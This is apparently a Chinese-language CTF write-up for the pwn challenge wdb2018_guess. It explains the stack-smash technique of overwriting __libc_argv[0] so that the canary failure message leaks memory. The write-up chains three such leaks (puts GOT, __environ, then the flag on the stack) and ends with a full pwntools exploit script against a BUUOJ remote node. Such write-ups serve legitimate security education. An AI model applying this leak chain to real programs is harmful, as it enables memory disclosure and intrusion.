wdb2018_guess
这道题记录一下绕过canary的一种方法:stack smash
关于canary的一些绕过姿势可参考 http://www.hackdig.com/12/hack-568509.htm
Pwn-多方式绕过Canary | 偏有宸机 (gitee.io)
程序开了canary保护后,如果我们的输入覆盖了 canary ,程序就会报错
程序会执行 __stack_chk_fail 函数来打印 __libc_argv[0] 指针所指向的字符串(默认存储的是程序的名称)

那么想一下如果我们把libc_argv[0]指向的字符串覆盖成我们想要泄露的地址,就能泄露相关内容
1 2 3 4 5 6 7 8 9 10 11
| void __attribute__ ((noreturn)) __stack_chk_fail (void) { __fortify_fail ("stack smashing detected"); } void __attribute__ ((noreturn)) internal_function __fortify_fail (const char *msg) { /* The loop is added only to keep gcc happy. */ while (1) __libc_message (2, "*** %s ***: %s terminated\n", msg, __libc_argv[0] ?: "<unknown>"); }
|
计算__libc_argv[0]的偏移

我们把断点设置在gets处,我们接下来要输入的地方就是0x7fffffffddb0也就是rbp-0x40的位置 __libc_argv[0]的位置是0x7fffffffded8
0x7fffffffded8-0x7fffffffddb0 = 0x128
覆盖地址泄露libc
1 2 3 4 5 6 7
| payload='a'*0x128 + p64(puts_got) io.recvuntil('Please type your guessing flag') io.sendline(payload) io.recvuntil('stack smashing detected ***: ') puts_addr = u64(p.recv(6).ljust(8,'\x00')) libc_base = puts_addr - libc.sym['puts']
|
计算enviorn地址,获得栈地址
enviorn 是环境变量表,里面包含栈地址
1 2 3 4 5 6 7 8 9
| environ_addr = libc_base + libc.sym['__environ'] print(hex(environ_addr))
payload='a'*0x128 + p64(environ_addr) io.recvuntil('Please type your guessing flag') io.sendline(payload)
io.recvuntil('stack smashing detected ***: ') stack_addr = u64(io.recv(6).ljust(8,'\x00'))
|
计算flag相对栈的位置

0x7ffeeadb4808-0x7ffeeadb46a0=0x168
exp:
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37
| from pwn import* context(os='linux', arch='amd64', log_level='debug')
io = remote('node4.buuoj.cn',28496)
elf = ELF('./GUESS') puts_got = elf.got['puts'] libc = ELF('./libc-2.23_64.so')
payload0='a'*0x128 + p64(puts_got) io.recvuntil('Please type your guessing flag') io.sendline(payload0) io.recvuntil('stack smashing detected ***: ') puts_addr = u64(io.recv(6).ljust(8,'\x00')) print(hex(puts_addr)) libc_base = puts_addr - libc.sym['puts']
environ_addr = libc_base + libc.sym['__environ'] print(hex(environ_addr))
payload1='a'*0x128 + p64(environ_addr) io.recvuntil('Please type your guessing flag') io.sendline(payload1)
io.recvuntil('stack smashing detected ***: ') stack_addr = u64(io.recv(6).ljust(8,'\x00'))
flag_addr = stack_addr - 0x168 payload2='a'*0x128 + p64(flag_addr) io.recvuntil('Please type your guessing flag') io.sendline(payload2)
io.interactive()
|
